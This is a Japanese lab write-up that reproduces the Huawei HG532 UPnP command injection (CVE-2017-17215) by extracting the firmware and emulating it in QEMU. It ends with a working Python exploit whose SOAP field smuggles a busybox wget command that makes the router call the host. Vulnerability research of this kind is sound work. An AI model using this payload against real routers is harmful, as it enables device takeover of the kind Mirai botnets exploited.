基本情報#
2017 年 11 月 27 日、Check Point チームは、Huawei HG532 製品のリモートコマンド実行の脆弱性(CVE-2017-17215)を報告しました。Mirai のアップグレード版の変種では、この脆弱性が使用されています。 Huawei HG532 は、小規模な家庭やオフィスユーザー向けのワイヤレスルーターです。この脆弱性のペイロードは、ハニーポットによってキャプチャされ、発見されました。利用原理は、upnp サービスのインジェクションの脆弱性を利用して任意のコマンドを実行することです。
分析環境は archlinux です。
ファームウェアのダウンロードリンクは、CVE-2017-17215-HG532 コマンドインジェクションの脆弱性分析の記事で見つけることができます。ダウンロードリンク
binwalk を使用して解凍します(squashfs-tools をインストールする必要があります)。
binwalk -Me HG532eV100R001C01B020_upgrade_packet.bin
脆弱性は UPnP サービスに存在し、unpn バイナリファイルを file コマンドで確認すると、upnp が MIPS 32 ビットビッグエンディアンで実行されていることがわかります。
qemu 環境の設定と脆弱性の再現#
archlinux に qemu をインストールします。
sudo pacman -S qemu-full qemu-user-static
ネットワーク環境の設定には、qemu に付属の qemu-bridge-helper ブリッジを使用し、詳細はQEMU-Archwikiの 6.3.3 を参照してください。
まず、/etc/qemu/bridge.conf
にallow br0
という行を追加します。
/etc/qemu/
のファイルのパーミッションが 755 であることを確認します。
次に、次のように qemu を起動します。
$ qemu-system-x86_64 -nic bridge [...]
次のようにブリッジを指定することもできます。
$ qemu-system-x86_64 -nic bridge,br=br1,model=virtio-net-pci [...]
https://people.debian.org/~aurel32/qemu/mips/から対応する debian mips qemu イメージをダウンロードします。
debian_squeeze_mips_standard.qcow2 と vmlinux-2.6.32-5-4kc-malta をダウンロードします。
起動スクリプト run_qemu.sh:
#!/bin/bash
ip link add name br0 type bridge
ip link set dev br0 up
ip addr add 192.168.123.1/24 dev br0
qemu-system-mips -M malta
-kernel debian/vmlinux-2.6.32-5-4kc-malta
-hda debian/debian_squeeze_mips_standard.qcow2
-append "root=/dev/sda1 console=tty0"
-nic bridge
ip link set dev br0 down
ip link del name br0 type bridge
$ sudo ./run_qemu.sh
root/root でログインします。
デフォルトの eth0 インターフェースには IP が設定されていません。
次のコマンドを使用して IP を追加します。
$ ip addr add 192.168.123.2/24 dev eth0
その後、正常に ping でき、ssh で接続できます。
$ ssh -oHostKeyAlgorithms=+ssh-rsa [email protected]
squashfs-root を転送します。
$ tar -cvf squashfs-root.tar squashfs-root/
$ scp -r -oHostKeyAlgorithms=+ssh-rsa ./squashfs-root.tar [email protected]:/root/
仮想マシンで解凍します。
$ tar -xvf squashfs-root.tar
chroot でルートディレクトリを切り替えます。
$ chroot /root/squashfs-root /bin/sh
脆弱性ポイントの upnp サービスを実行します。
$ /bin/upnp
$ /bin/mic
mic がここまで実行されると、ネットワークカードの設定が変更され、ssh が切断されます。
qemu のターミナルで IP 情報を再度迅速に追加し、ssh 接続を復元します。
$ ip addr add 192.168.123.2/24 dev eth0
nmap によると、upnp サービスのポートが開いています。
ホストマシンでポート 80 をリッスンします。
$ sudo ncat -lk 80
exp.py を実行します。
import requests
headers = {
"Authorization": "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669"
}
data = '''<?xml version="1.0" ?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewStatusURL>;/bin/busybox wget -g 192.168.123.1 -l /tmp/1;</NewStatusURL>
<NewDownloadURL>HUAWEIUPNP</NewDownloadURL>
</u:Upgrade>
</s:Body>
</s:Envelope>
'''
requests.post('http://192.168.123.2:37215/ctrlt/DeviceUpgrade_1',headers=headers,data=data)
nc が応答を受け取ります。